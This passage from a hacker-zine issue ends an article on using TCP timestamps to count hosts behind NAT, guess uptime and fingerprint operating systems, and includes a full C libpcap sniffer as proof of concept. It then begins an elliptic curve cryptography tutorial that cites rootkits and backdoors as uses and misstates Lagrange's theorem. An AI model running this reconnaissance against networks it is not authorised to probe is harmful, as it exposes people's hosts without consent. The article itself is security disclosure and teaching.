"Uptime 36.027 days (since Tue May 25 11:12:31 2004)".
Of course their is no black magic behind that, only two facts :
- Time goes back only in movie (sorry boys...)
- Every OS increments the timestamp by one every n milliseconds.
So if you know the OS, you know how often the OS increment the timestamp
option. All you have to do to know the uptime is to apply a trivial math
formula :
timestamp / num inc by sec = uptime in sec
Has you can notice this formula does not take into account the warp
around of integer. Here we know two information : the actual timestamp and
the number of increments by second. This can only be done because we know
the OS type. Let's see how we can improve this technique to do it without
knowing the OS.
----[ 2.4 - Back to school
Remember a long time ago at school, you heard about affine function.
A basic example of it is :
"y = Ax + B"
where A is the slope and B the initial point.
The graphic representation of it is straight line. From timestamp point of
view this can be express has the follow :
timestamp = numincbysec * sec + intial number
When you do active fingerprinting you get the timestamp and know the
numincbysec by guessing the OS.
Now let's suppose you can't guess the OS. In this case you don't know
the slope and can't guess the uptime. Here is an other way to know the
slope of the OS. You need to get the computer timestamp twice. Name it ts1
and ts2 and name the time (in sec) where you gather it t1 and t2.
With thoses informations, it is trivial to find the slope since we have the
following equationnal system:
ts1 = A*s1 + B
ts2 = A*s2 + B
which is solved by the following equation :
ts1 - ts2 = A*(s1 - s2) <=> A = (ts1 - ts2) / (s1 - s2)
An imediate application of this idea can be implemented in active scanner:
requeste twice the timestamp to verify that the slope is the
same as the one guessed.
This can be use to defeat some anti-fingerprint tools. It also can be used
as a standalone fingerprinting technic but will not be accurate has the TCP
or ICMP one.
Now that we have the theory ready, let's go back to NAT.
----[ 2.5 - Back to the NAT
Let's make the connection with the NAT. Since the timestamp option is
not rewritten by NAT, we can count the number of host behind the NAT using
the following algorithm :
1. for each host already discovered verifying is the packet belong to it
straight line equation. each host has a unique straight line equation
until two host have booted at the same second.
2. otherwise add the packet to unmatched packet : a new host beyond NAT is
detected.
Look to the proof of concept if you need to make things more clear.
This simple algorithm has a lot of room for improvement. It has been keeped
has simple has possible for clarity. As you can see timestamp option can be
used to count host beyond a NAT in a reliable manner. It will also giveo
indication of the OS class.
----[ 2.6 - Let's do PAT
PAT (Port Address Translation) is used to provide service on a box
behind a NAT.
The question is how do I know that the port is forwarded?
Well timestamp is once again your friend. If for two different ports the
slope of timestamp differs then there is a PAT and the OS of the two
computers is different. If the timestamp gathered from the two ports does
not belong to the same straight line, then it's the same OS but not the
same computer.
Another interesting use of PAT is the round robin. Until now their were
no way to know if such mechanism is used. By comparing the different
timestamps gathered you can determine how many hosts are beyond a single
port. This might be an interesting functionality to add to an active
scanner.
----[ 2.7 - Time to fight back
Since playing with this option can give valuable information there is
some limitation to this technique. Mainly Windows box does not use timestamp
option when they establish connection[8] unless you activate it. This
limitation only affects passive analysis, if you use timestamp when
you connect to a windows it will use it too. Moreover many tweaks software
activate the TCP extension in windows.
To be completed on the subject I had to mention that it seems that TCP
extension does not exist on win 9X.
One other problem is the time gap. In passive mode there can be a
desynchronization between computers due to computer desynchronization or
network lags. In the proof of concept this phenomenon can occur. To handle
it you need not to rely on the computer clock but on timestamp itself.
What can we do against this ? Since no vendor except Microsoft (1)
(Thanks Magnus) has answer to me, the following workaround may not be
available. Here is a theoric way to patch this problem.
1. Disabling tcp timestamp. This is the worse solution since we will need
it with fast network[2].
2. Make NAT rewrite the timestamp and changing The NAT RFC.
3. Changing the RFC to specify that the timestamp option needs to have a
random increment. Modifying each implementation to reflect this change.
The a clean way to fix this thing because it's does not rely on an
external system (the NAT computer in this case).
Well I have to try to be as complete as possible for this technical
part. The next part will be more "philosophic" since it deals with the
cause instead of the consequence.
--[ 3 - History has something to tell us
In this part I will try to focus on why we have this situation and what
we can do about it. Here I am not talking about the timestamp option by
itself but about the interaction between the timestamp option and the NAT
mechanism.
----[ 3.1 - Which class ?
First question is what is this bug? This bug belongs to the design
error class. To be more precise this bug exists because protocol
specification overlap. IP was designed to be a one on one protocol: one
client talks to one server. NAT violates this specification by allowing
multiple to one. By itself this violation has caused so many problems that
I lost the count of it, but it is pretty sure that the most recurrent
problem is the FTP transfer. If you use FTP you know what I mean (other can
look at netfilter ftp conntrack).
----[ 3.2 - So were does it come from ?
FTP problem is a good example to explain the origin of the overlap
specification problem. FTP was specified to work over a one to one
reliable connexion (TCP in fact). NAT was designed to modify IP. So due to
protocol dependency it also alter TCP and therefor FTP.
During NAT specification it was not taken into account that every
protocol that relies on IP, can conflict with the modified specification.
To tell the truth ,even if the people that design the NAT mechanism have
ever wanted to ensure that every protocol that relies on IP can work with
the NAT they couldn't make it.
Why ? because specification are RFC and RFC are in english. English is
not a good way to specify things especially if you have a dependency graph
for the specification.
For example many programming languages have formal specifications.
Which is a more full proof way. The reason of this lack of formal
specification resides on the history of Internet[9]. At this time writing a
simple text was good enough. Nowadays it can be very problematic.
----[ 3.3 - How do you find it ?
The big question is, how do I find this bug ?. Well I found this
problem by formalizing a part of the TCP RFC and confronts the result of
this analysis to real execution traces. My analyzer (2) warned me about a
timestamp that was less than the previous one and as you know time does not
go back...
I check out why and found this problem. What's interesting here is that
the start point to find the bug is the specification rather than the
implementation as it usually does to find a buffer overflow for example.
----[ 3.4 - Back to the future
So from now on, what will happen ? Well more design errors will be
found because we cannot change the past and we need to live with it. It is
not reasonable to say that we can wipe off all that TCP stuff and start a
new thing from scratch. Internet and network are simply too big to move
just like that. Just think for one second about the IP v6 deployment and
you will be convinced. All we can do is try to be as careful as possible
when designing a new extension or a protocol. Trying to ensure that this
new stuff does not conflicts with previous specification or breaks
dependence. We can also try to formalize the protocols as much as we can to
try and detect errors before they cause problems. Sadly patching is mainly
our primary option for the coming years.
--[ 4.0 - Learning from the past aka conclusion
The past tells us that protocol is not well enough specified and leads
to errors (bug, conflict...). It may be time to change our habits and try
something in ad equation with our time. For example to design things with
security in mind. In this article I have tried to show you that by simply
understanding specification and with the help of some basic math you can:
- Find a flaw with a worldwide impact.
- Exploit this flaw in an elegant manner by the means of a simple theory.
- Extend fingerprint state of art.
I hope this will help to convince you that theory and formal tools are a
necessary part of the computer security field. Next time I will focus on
simple formal method to find bug. I hope you will be here :).
--[ A Acknowledgements
First I would like to thank Romain Bottier for his help and his
patience. I also want to thank Plops and Poluc for having faith in me. See
guys we made it!
I also want to say that I take great care about non disclosure policy.
I have informed major vendors (Kernel.org, freeBSD, OpenBSD, Cisco...) a
month ago. As I said I did not get any feedback so I assume they do not
care.
References
*=*=*=*=*=
[1] AT&T Steven M. Bellovin. A Technique for Counting NATted Hosts
http://www.research.att.com/~smb/papers/fnat.pdf
[2] Jacobson, Braden, & Borman. RFC 1323 :TCP Extensions for High
Performance .
[3] K. Egevang, Cray Communications, P. Francis. RFC 1631 : The IP
Network Address Translator (NAT).
[4] Bret McDanel. TCP Timestamping - Obtaining System Uptime Remotely
originally posted to Bugtraq Security Mailing List on March 11, 2001.
[5] Michal Zalewski. p0f 2:Dr. Jekyll had something to Hyde.
[6] Fyodor. Nmap - Free Security Scanner For Network Exploration &
Security Audits.
[7] Antirez. dumbscan original BUGTRAQ posting (18 Dec 1998)
[8] Microsoft. TCP timestamp in windows : KB224829.
[9] Hafner, Katie, Matthew Lyon. Where Wizards Stay Up Late: The Origins
of the Internet.
FootNotes
*=*=*=*=*=
(1) Microsoft point of view is that NAT is not a security mechanism so they
do not want to patch.
(2) If you are interested about my analyzer. I hope to publish soon a
theoric paper on how it works. I also hope to release one day a version
of it. To the question did I find other interesting things, the answer
is: maybe I need to check out more deeply.
--[ B - Proof of concept
/*
* Proof Of Concept : counting host behind a NAT using timestamp
* To compile this file, you will need the libpcap
* Copyright Elie Bursztein (lupin@zonart.net)
* Successfully compiled on FreeBSD 5.X and Linux 2.6.X
*
* $gcc natcount.c -o natcount -I/usr/local/include -L/usr/local/lib
* -lpcap
*/
#define __USE_BSD 1
#include <sys/time.h>
#include <time.h>
#include <netinet/in.h>
#include <net/ethernet.h>
#ifdef __FreeBSD__
# include <netinet/in_systm.h>
#endif /* __FreeBSD__ */
#ifdef __linux__
# include <linux/if_ether.h>
#endif /* __linux__ */
#include <netinet/ip.h>
#include <stdlib.h>
#include <string.h>
#include <pcap.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <net/if.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#ifdef __linux__
# define th_off doff
#endif /* __linux__ */
u_int32_t addr = 0;
/* chain lists structures */
typedef struct listes_s {
struct listes_s *next;
void *elt;
} listes_t;
/* Structures for TCP options */
typedef struct { u_int32_t ts, ts_r; } timestamp_t;
typedef struct { timestamp_t *ts; } tcp_opt_t;
/* Structures for datas storage */
typedef struct { u_int32_t from, first_timestamp; struct timeval
first_seen; } machine_t;
typedef struct { u_int32_t host, nat; struct timeval first_seen; }
nat_box_t;
#define TIMESTAMP_ERROR_MARGIN 0.5
#define DELAY 1
/*
* List functions
*/
int add_in_list(listes_t **list, void * elt) {
listes_t *lst;
lst = malloc(sizeof (listes_t));
lst->next = *list;
lst->elt = elt;
*list = lst;
return (1);
}
void show_nated(listes_t *list) {
nat_box_t *nat;
struct in_addr addr;
printf("-- Begin of nated IP list --\n");
while (list)
{
nat = (nat_box_t *) list->elt;
if (nat->nat > 1) {
addr.s_addr = nat->host;
printf("I've guess %i computers sharing the same IP address
(%s)\n", nat->nat, inet_ntoa(addr));
}
list = list->next;
}
printf("-- End of nated IP list --\n");
}
/*
* Function used to get all TCP options
* Simple TCP options parser
*/
int tcp_option_parser(const u_char *options,
tcp_opt_t *parsed,
unsigned int size) {
u_int8_t kind, len, i;
bzero(parsed, sizeof(tcp_opt_t));
i = 0;
kind = *(options + i);
while (kind != 0) /* EO */
{
switch (kind) {
case 1: i++; break; /* NOP byte */
case 2: i += 4; break;
case 3: i += 3; break;
case 4: i += 2; break;
case 5: /* skipping SACK options */
len = (*options + ++i) - 1;
i += len;
break;
case 6: i += 6; break;
case 7: i += 6; break;
case 8:
i += 2;
parsed->ts = (timestamp_t *) (options + i);
i += 8;
return (1);
break;
default:
i++;
}
kind = *(options + i);
}
return (0);
}
/*
* Most interesting function ... Here we can know if a TCP packet is
* coming from someone we already know !
* Algo :
* finc (seconds) = current_packet_time - first_packet_time <- time
* between 2 packets
* ts_inc = inc_table[i] * finc <- our supposed timestamp increment
* between 2 packets
* new_ts = first_timestamp + ts_inc <- new = timestamp we should have
* now !
*
* Now we just have to compare new_ts with current timestamp
* We can authorize an error margin of 0.5%
*
* Our inc_table contain timestamp increment per second for most
* Operating System
*/
int already_seen(machine_t *mach, tcp_opt_t *opt,
struct timeval temps)
{
int inc_table[4] = {2, 10, 100, 1000};
unsigned int new_ts;
float finc, tmp, ts_inc;
int i, diff;
finc = ((temps.tv_sec - mach->first_seen.tv_sec) * 1000000.
+ (temps.tv_usec - mach->first_seen.tv_usec)) / 1000000.;
for (i = 0; i < 4; i++) {
ts_inc = inc_table[i] * finc;
new_ts = ts_inc + mach->first_timestamp;
diff = ntohl(opt->ts->ts) - new_ts;
if (diff == 0) { /* Perfect shoot ! */
return (2);
}
tmp = 100. - (new_ts * 100. / ntohl(opt->ts->ts));
if (tmp < 0.)
tmp *= -1.;
if (tmp <= TIMESTAMP_ERROR_MARGIN) { /* Update timestamp and time */
mach->first_seen = temps;
mach->first_timestamp = ntohl(opt->ts->ts);
return (1);
}
}
return (0);
}
/*
* Simple function to check if an IP address is already in our list
* If not, it's only a new connection
*/
int is_in_list(listes_t *lst, u_int32_t addr) {
machine_t *mach;
while (lst) {
mach = (machine_t *) lst->elt;
if (mach->from == addr)
return (1);
lst = lst->next;
}
return (0);
}
/*
* This function should be call if a packet from an IP address have been
* found,
* is address is already in the list, but doesn't match any timestamp
* value
*/
int update_nat(listes_t *list, u_int32_t addr)
{
nat_box_t *box;
while (list)
{
box = (nat_box_t *) list->elt;
if (box->host == addr)
{
box->nat++;
return (1);
}
list = list->next;
}
return (0);
}
int check_host(listes_t **list, listes_t **nat, u_int32_t
from,
tcp_opt_t *opt, struct timeval temps) {
listes_t *lst;
machine_t *mach;
int found, zaped;
found = zaped = 0;
lst = *list;
while (lst && !(found)) {
mach = (machine_t *) lst->elt;
if (mach->from == from) {
if ( temps.tv_sec - mach->first_seen.tv_sec > DELAY ) {
found = already_seen(mach, opt, temps);
} else zaped = 1;
}
lst = lst->next;
}
if (!(zaped) && !(found)) {
mach = malloc(sizeof (machine_t));
mach->from = from;
mach->first_seen = temps;
mach->first_timestamp = ntohl(opt->ts->ts);
add_in_list(list, mach);
update_nat(*nat, from);
show_nated(*nat);
return (1);
}
return (0);
}
void callback_sniffer(u_char *useless,
const struct pcap_pkthdr* pkthdr,
const u_char *packet)
{
static listes_t *list_machines = 0;
static listes_t *list_nat = 0;
const struct ip *ip_h;
const struct tcphdr *tcp_h;
tcp_opt_t tcp_opt;
machine_t *mach;
nat_box_t *nat;
struct in_addr my_addr;
ip_h = (struct ip *) (packet + sizeof(struct ether_header));
if (ip_h->ip_p == IPPROTO_TCP)
{
tcp_h = (struct tcphdr *) (packet + sizeof(struct ether_header) +
sizeof(struct ip));
if (tcp_h->th_off * 4 > 20) {
if (tcp_option_parser((u_char *) (packet + sizeof(struct
ether_header)
+ sizeof(struct ip) +
sizeof(struct tcphdr)),
&tcp_opt, tcp_h->th_off * 4 - 20))
{
if (is_in_list(list_machines, (ip_h->ip_src).s_addr)) {
check_host(&list_machines, &list_nat, (u_int32_t)
(ip_h->ip_src).s_addr, &tcp_opt, pkthdr->ts);
} else {
if (ntohl(tcp_opt.ts->ts) != 0)
{
addr = (ip_h->ip_src).s_addr;
my_addr.s_addr = addr;
mach = malloc(sizeof (machine_t));
mach->from = (ip_h->ip_src).s_addr;
mach->first_seen = pkthdr->ts;
mach->first_timestamp = ntohl(tcp_opt.ts->ts);
nat = malloc(sizeof (nat_box_t));
nat->host = (u_int32_t) (ip_h->ip_src).s_addr;
nat->nat = 1;
nat->first_seen = mach->first_seen;
add_in_list(&list_machines, mach);
add_in_list(&list_nat, nat);
}
}
}
}
}
}
int main(int ac, char *argv[])
{
pcap_t *sniff;
char errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program fp;
char *device;
bpf_u_int32 maskp, netp;
struct in_addr my_ip_addr;
char filter[250];
if (getuid() != 0) {
printf("You must be root to use this tool.\n");
exit (2);
}
if (--ac != 1)
{
printf("Usage: ./natcount xl0\n");
return (1);
}
device = (++argv)[0];
pcap_lookupnet(device, &netp, &maskp, errbuf);
my_ip_addr.s_addr = (u_int32_t) netp;
printf("Using interface %s IP : %s\n", device, inet_ntoa(my_ip_addr));
if ((sniff = pcap_open_live(device, BUFSIZ, 1, 1000, errbuf)) == NULL)
{
printf("ERR: %s\n", errbuf);
exit(1);
}
bzero(filter, 250);
snprintf(filter, 250, "not src net %s", inet_ntoa(my_ip_addr));
if(pcap_compile(sniff,&fp, filter, 0, netp) == -1) {
fprintf(stderr,"Error calling pcap_compile\n");
exit(1);
}
if(pcap_setfilter(sniff,&fp) == -1) {
fprintf(stderr,"Error setting filter\n");
exit(1);
}
pcap_loop(sniff, -1, callback_sniffer, NULL);
return (0);
}
|=-----------------------------=[ 0x03-3 ]=------------------------------=|
|=---=[ All Hackers Need To Know About Elliptic Curve Cryptography ]=----=|
|=-----------------------------------------------------------------------=|
|=----------------------------=[ f86c9203 ]=-----------------------------=|
---[ Contents
0 - Abstract
1 - Algebraical Groups and Cryptography
2 - Finite Fields, Especially Binary Ones
3 - Elliptic Curves and their Group Structure
4 - On the Security of Elliptic Curve Cryptography
5 - The ECIES Public Key Encryption Scheme
6 - The XTEA Block Cipher, CBC-MAC and Davies-Meyer Hashing
7 - Putting Everything Together: The Source Code
8 - Conclusion
9 - Outlook
A - Appendix: Literature
B - Appendix: Code
---[ 0 - Abstract
Public key cryptography gained a lot of popularity since its invention
three decades ago. Asymmetric crypto systems such as the RSA
encryption scheme, the RSA signature scheme and the Diffie-Hellman Key
Exchange (DH) are well studied and play a fundamental role in modern
cryptographic protocols like PGP, SSL, TLS, SSH.
The three schemes listed above work well in practice, but they still
have a major drawback: the data structures are large, i.e. secure
systems have to deal with up to 2048 bit long integers. These are
easily handled by modern desktop computers; by contrast embedded
devices, handhelds and especially smartcards reach their computing
power limits quickly. As a second problem, of course, the
transportation of large integers "wastes" bandwidth. In 2048 bit
systems an RSA signature takes 256 bytes; that's quite a lot,
especially for slow communication links.
As an alternative to RSA, DH and suchlike the so called Elliptic Curve
Cryptography (ECC) was invented in the mid-eighties. The theory behind
it is very complicated and much more difficult than doing calculations
on big integers. This resulted in a delayed adoption of ECC systems
although their advantages over the classic cryptographic building
blocks are overwhelming: key lengths and the necessary processing
power are much smaller (secure systems start with 160 bit keys). Thus,
whenever CPU, memory or bandwidth are premium resources, ECC is a good
alternative to RSA and DH.
This article has two purposes:
1. It is an introduction to the theory of Elliptic Curve Cryptography.
Both, the mathematical background and the practical implementability
are covered.
2. It provides ready-to-use source code. The C code included and
described in this article (about 500 lines in total) contains a
complete secure public key crypto system (including symmetric
components: a block cipher, a hash function and a MAC) and is
released to the public domain.
The code doesn't link against external libraries, be they of
bigint, cryptographic or other flavour; an available libc is
sufficient. This satisfies the typical hacker need for compact and
independent programs that have to work in "inhospitable"
environments; rootkits and backdoors seem to be interesting
applications.
As mentioned above the theory behind EC cryptography is rather
complex. To keep this article brief and readable by J. Random Hacker
only the important results are mentioned, theorems are not proven,
nasty details are omitted. If on the other hand you are into maths and
want to become an ECC crack I encourage to start reading [G2ECC] or
[ECIC].
---[ 1 - Algebraical Groups and Cryptography
Definition. A set G together with an operation G x G -> G denoted by
'+' is called an (abelian algebraical) group if the following axioms
hold:
G1. The operation '+' is associative and commutative:
(a + b) + c = a + (b + c) for all a,b,c in G
a + b = b + a for all a,b in G
G2. G contains a neutral element '0' such that
a + 0 = a = 0 + a for all a in G
G3. For each element 'a' in G there exists an "inverse element",
denoted by '-a', such that
a + (-a) = 0.
For a group G the number of elements in G is called the group order,
denoted by |G|.
Example. The sets Z, Q and R of integers, rational numbers and real
numbers, respectively, form groups of infinite order in respect to
their addition operation. The sets Q* and R* (Q and R without 0) also
form groups in respect to multiplication (with 1 being the neutral
element and 1/x the inverse of x).
Definition. Let G be a group with operation '+'. A (nonempty) subset H
of G is called a subgroup of G if H is a group in respect to the same
operation '+'.
Example. Z is a subgroup of Q is a subgroup of R in respect to '+'.
In respect to '*' Q* is a subgroup of R*.
Theorem (Lagrange). Let G be a group of finite order and H be a
subgroup of G. Then |H| properly divides |G|.
It follows that if G has prime order, G has only two subgroups,
namely {0} and G itself.
We define the "scalar multiplication" of a natural number k with a
group element g as follows:
k * g := g + g + ... + g + g
\____ k times ____/
Theorem. For a finite group G and an element g in G the set of all
elements k * g (k natural) forms a subgroup of G. This subgroup
is named the "cyclic subgroup generated by g".
Thus a prime order group is generated by any of its nonzero elements.
We now introduce the Diffie-Hellman Key Exchange protocol: let G be a
prime order group and g a nonzero element. Let two players, called
Alice and Bob respectively, do the following:
1. Alice picks a (secret) random natural number 'a', calculates
P = a * g and sends P to Bob.
2. Bob picks a (secret) random natural number 'b', calculates
Q = b * g and sends Q to Alice.
3. Alice calculates S = a * Q = a * (b * g).
4. Bob calculates T = b * P = b * (a * g).
By definition of the scalar multiplication it is apparent that S =
T. Therefore after step 4 Alice and Bob possess the same value S. The
eavesdropper Eve, who recorded the exchanged messages P and Q, is able
to calculate the same value if she manages to determine 'a' or
'b'. This problem (calculating 'a' from G, g and 'a * g') is called
the group's Discrete Logarithm Problem (DLP).
In groups where DLP is too 'hard' to be practically solvable it is
believed to be out of reach for eavesdroppers to determine the value
S, hence Alice and Bob can securely establish a secret key which can
be used to protect further communication.
If an attacker is able to intercept the transmission of P and Q and to
replace both by the group's neutral element, obviously Alice and Bob
are forced to obtain S = 0 = T as shared key. This has to be
considered a successful break of the crypto system. Therefore both
Alice and Bob have to make sure that the received elements Q and P,
respectively, indeed do generate the original group.
The presented DH scheme may also serve as public key encryption scheme
(called ElGamal encryption scheme): let Alice pick a random natural
number 'a' as private key. The element P = a * g is the corresponding
public key. If Bob wants to encrypt a message for her, he picks a
random number 'b', symmetrically encrypts the message with key T = b *
P and transmits the cipher text along with Q = b * g to Alice. She
can reconstruct T = S via S = a * Q and then decrypt the message.
Note the direct relationship between this and the DH scheme!
Conclusion: Cryptographers are always seeking for finite prime order
groups with hard DLP. This is where elliptic curves come into play:
they induce algebraical groups, some of them suitable for DH and
ElGamal crypto systems. Moreover the elliptic curve arithmetic
(addition, inversion) is implementable in a relatively efficient way.
You will find more information about groups and their properties in
[Groups], [Lagrange], [CyclicGroups] and [GroupTheory]. Read more
about the DLP, DH key exchange and ElGamal encryption in [DLP], [DH]
and [ElGamal].
---[ 2 - Finite Fields, Especially Binary Ones
Definition. A set F together with two operations F x F -> F named
'+' and '*' is called a field if the following axioms hold:
F1. (F, +) forms a group
F2. (F*, *) forms a group (where F* is F without the
'+'-neutral element '0')
F3. For all a,b,c in G the distributive law holds:
a * (b + c) = (a * b) + (a * c)
For 'a + (-b)' we write shorter 'a - b'. Accordingly we write 'a / b'
when we multiply 'a' with the '*'-inverse of b.
To put it clearly: a field is a structure with addition, substraction,
multiplication and division that work the way you are familiar with.
Example. The sets Q and R are fields.
Theorem. For each natural m there exists a (finite) field GF(2^m) with
exactly 2^m elements. Fields of this type are called binary fields.
Elements of binary fields GF(2^m) can efficiently be represented by
bit vectors of length m. The single bits may be understood as
coefficients of a polynomial of degree < m. To add two field elements
g and h just carry out the polynomial addition g + h (this means: the
addition is done element-wise, i.e. the bit vectors are XORed
together). The multiplication is a polynomial multiplication modulo a
certain fixed reduction polynomial p: the elements' product is the
remainder of the polynomial division (g * h) / p.
The fact that field addition just consists of a bitwise XOR already
indicates that in binary fields F each element is its own additive
inverse, that is: a + a = 0 for all a in F. For a,b in F as
consequence 2*a*b = a*b + a*b = 0 follows, what leads to the (at the
first glance surprising) equality
(a + b)^2 = a^2 + b^2 for all a,b in F.
More about finite fields and their arithmetical operations can be
found in [FiniteField], [FieldTheory], [FieldTheoryGlossary] and
especially [FieldArithmetic].
---[ 3 - Elliptic Curves and their Group Structure
Definition. Let F be a binary field and 'a' and 'b' elements in F.
The set E(a, b) consisting of an element 'o' (the "point at
infinity") plus all pairs (x, y) of elements in F that satisfy
the equation
y^2 + x*y = x^3 + a*x^2 + b
is called the set of points of the binary elliptic curve E(a, b).
Theorem. Let E = E(a, b) be the point set of a binary elliptic curve
over the field F = GF(2^m). Then
1. E consists of approximately 2^m elements.
2. If (x, y) is a point on E (meaning x and y satisfy the above
equation) then (x, y + x) is also a point on E.
3. If two points P = (x1, y1) and Q = (x2, y2) on E with x1 != x2 are
connected by a straight line (something of the form y = m*x + b),
then there is exactly one third point R = (x3, y3) on E that is
also on this line. This induces a natural mapping f:(P, Q) -> R,
sometimes called chord-and-tangent mapping.
Exercise. Prove the second statement.
The chord-and-tangent mapping 'f' is crucial for the group structure
given naturally on elliptic curves:
a) The auxiliary element 'o' will serve as neutral element which may
be added to any curve point without effect.
b) For each point P = (x, y) on the curve we define the point
-P := (x, y + x) to be its inverse.
c) For two points P = (x1, y1) and Q = (x2, y2) the sum 'P + Q'
is defined as -f(P, Q).
It can be shown that the set E together with the point addition '+'
and the neutral element 'o' defacto has group structure. If the
curve's coefficients 'a' and 'b' are carefully chosen, there exist
points on E that generate a prime order group of points for which the
DLP is hard. Based on these groups secure crypto systems can be built.
The point addition on curves over the field R can be visualized. See
[EllipticCurve] for some nice images.
In ECC implementations it is essential to have routines for point
addition, doubling, inversion, etc. We present pseudocode for the
most important ones:
Let (x, y) be a point on the elliptic curve E(a, b). The point
(x', y') := 2 * (x, y) can be computed by
l = x + (y / x)
x' = l^2 + l + a
y' = x^2 + l*x' + x'
return (x', y')
For two points P = (x1, y1), Q = (x2, y2) the sum (x3, y3) = P + Q
can be computed by
l = (y2 + y1) / (x2 + x1)
x3 = l^2 + l + x1 + x2 + a
y3 = l(x1 + x3) + x3 + y1
return (x3, y3)
Some special cases where the point at infinity 'o' has to be
considered have been omitted here. Have a look at [PointArith] for
complete pseudocode routines. But nevertheless we see that point
arithmetic is easy and straight forward to implement. A handful of
field additions, multiplications plus a single division do the job.
The existence of routines that do point doubling and addition is
sufficient to be able to build an efficient "scalar multiplier": a
routine that multiplies a given curve point P by any given natural
number k. The double-and-add algorithm works as follows:
H := 'o'
let n be the number of the highest set bit in k
while(n >= 0) {
H = 2 * H;
if the nth bit in k is set:
H = H + P;
n--;
}
return H;
Example. Suppose you want to calculate k*P for k = 11 = 1011b. Then
n is initialized to 3 and H calculated as
H = 2 * (2 * (2 * (2 * 'o' + P)) + P) + P
= 2 * (2 * (2 * P) + P) + P
= 2 * (5 * P) + P
= 11 * P
Some elliptic curves that are suitable for cryptographic purposes have
been standardized. NIST recommends 15 curves (see [NIST]), among them
five binary ones called B163, B233, B283, B409 and B571. The
parameters of B163 are the following ([NISTParams]):
Field: GF(2^163)
Reduction poly: p(t) = t^163 + t^7 + t^6 + t^3 + 1
Coefficient a: 1
Coefficient b: 20a601907b8c953ca1481eb10512f78744a3205fd
x coordinate of g: 3f0eba16286a2d57ea0991168d4994637e8343e36
y coordinate of g: 0d51fbc6c71a0094fa2cdd545b11c5c0c797324f1
group order: 2 * 5846006549323611672814742442876390689256843201587
The field size is 2^163, the corresponding symmetric security level is
about 80 bits (see chapter 4). The field elements are given in
hexadecimal, the curve's order in decimal form as h * n, where h (the
"cofactor") is small and n is a large prime number. The point g is
chosen in a way that the subgroup generated by g has order n.
The source code included in this article works with B163. It can
easily be patched to support any other binary NIST curve; for this it
is sufficient to alter just 6 lines.
Exercise. Try it out: patch the sources to get a B409 crypto
system. You will find the curve's parameters in [NISTParams].
Read [EllipticCurve], [PointArith] and [DoubleAndAdd] for further
information.
---[ 4 - On the Security of Elliptic Curve Cryptography
We learned that the security of the DH key exchange is based on the
hardness of the DLP in the underlying group. Algorithms are known that
determine discrete logarithms in arbitrary groups; for this task no
better time complexity bound is known than that for Pollard's "Rho
Method" ([PollardRho]):
Theorem. Let G be a finite (cyclic) group. Then there exists an
algorithm that solves DLP in approximately sqrt(|G|) steps (and low
memory usage).
For elliptic curves no DLP solving algorithm is known that performs
better than the one mentioned above. Thus it is believed that the
ECCDLP is "fully exponential" with regard to the bit-length of
|G|. RSA and classical DH systems can, by contrast, be broken in
"subexponential" time. Hence their key lengths must be larger than
those for ECC systems to achieve the same level of security.
We already saw that elliptic curves over GF(2^m) contain about 2^m
points. Therefore DLP can be solved in about sqrt(2^m) steps, that is
2^(m/2). We conclude that m-bit ECC systems are equivalent to
(m/2)-bit symmetric ciphers in measures of security.
The following table compares equivalent key sizes for various crypto
systems.
ECC key size | RSA key size | DH key size | AES key size
-------------+--------------+-------------+-------------
160 | 1024 | 1024 | (80)
256 | 3072 | 3072 | 128
384 | 7680 | 7680 | 192
512 | 15360 | 15360 | 256
---[ 5 - The ECIES Public Key Encryption Scheme
Earlier we presented the DH Key Exchange and the ElGamal public key
crypto system built on top of it. The Elliptic Curve Integrated
Encryption Scheme (ECIES, see ANSI X9.63) is an enhancement of ElGamal
encryption specifically designed for EC groups. ECIES provides
measures to defeat active attacks like the one presented above.
Let E be an elliptic curve of order h * n with n a large prime
number. Let G be a subgroup of E with |G| = n. Choose a point P in G
unequal to 'o'.
We start with ECIES key generation:
Alice picks as private key a random number 'd' with 1 <= d < n;
She distributes the point Q := d * P as public key.
If Bob wants to encrypt a message m for Alice he proceeds as follows:
1. Pick a random number 'k' with 1 <= k < n.
2. Compute Z = h * k * Q.
3. If Z = 'o' goto step 1.
4. Compute R = k * P.
5. Compute (k1, k2) = KDF(Z, R) (see below).
6. Encrypt m with key k1.
7. Calculate the MAC of the ciphertext using k2 as MAC key.
8. Transmit R, the cipher text and the MAC to Alice.
Alice decrypts the cipher text using the following algorithm:
1. Check that R is a valid point on the elliptic curve.
2. Compute Z = h * d * R.
3. Check Z != 'o'.
4. Compute (k1, k2) = KDF(Z, R) (see below).
5. Check the validity of the MAC using key k2.
6. Decrypt m using key k1.
If any of the checks fails: reject the message as forged.
KDF is a key derivation function that produces symmetric keys k1, k2
from a pair of elliptic curve points. Just think of KDF being the
cryptographic hash function of your choice.
ECIES offers two important features:
1. If an attacker injects a curve point R that does not generate a
large group (this is the case in the attack mentioned above), this
is detected in steps 2 und 3 of the decryption process (the
cofactor plays a fundamental role here).
2. The message is not only encrypted in a secure way, it is also
protected from modification by a MAC.
Exercise. Implement a DH key exchange. Let E be a binary elliptic
curve or order h * n. Let G be a subgroup of E with |G| = n. Choose a
point g in G unequal to 'o'. Let Alice and Bob proceed as follows:
1. Alice picks a random number 'a' with 1 <= a < n and sends P = a * g
to Bob.
2. Bob picks a random number 'b' with 1 <= b < n and sends Q = b * g
to Alice.
3. Alice checks that Q is a point on the curve that generates a group
of order n (see the ECIES_public_key_validation routine). Alice
calculates S = a * Q.
4. Bob checks that P is a point on the curve that generates a group of
ordern n. He calculates T = b * P.
If everything went OK the equality S = T should hold.
---[ 6 - The XTEA Block Cipher, CBC-MAC and Davies-Meyer Hashing
XTEA is the name of a patent-free secure block cipher invented by
Wheeler and Needham in 1997. The block size is 64 bits, keys are 128
bits long. The main benefit of XTEA over its competitors AES, Twofish,
etc is the compact description of the algorithm:
void encipher(unsigned long m[], unsigned long key[])
{
unsigned long sum = 0, delta = 0x9E3779B9;
int i;
for(i = 0; i < 32; i++) {
m[0] += ((m[1] << 4 ^ m[1] >> 5) + m[1]) ^ (sum + key[sum & 3]);
sum += delta;
m[1] += ((m[0] << 4 ^ m[0] >> 5) + m[0]) ^ (sum + key[sum >> 11 & 3]);
}
}
Let E be a symmetric encryption function with block length n,
initialized with key k. The CBC-MAC of a message m is calculated as
follows:
1. Split m in n-bit-long submessages m1, m2, m3, ...
2. Calculate the intermediate values t0 = E(length(m)),
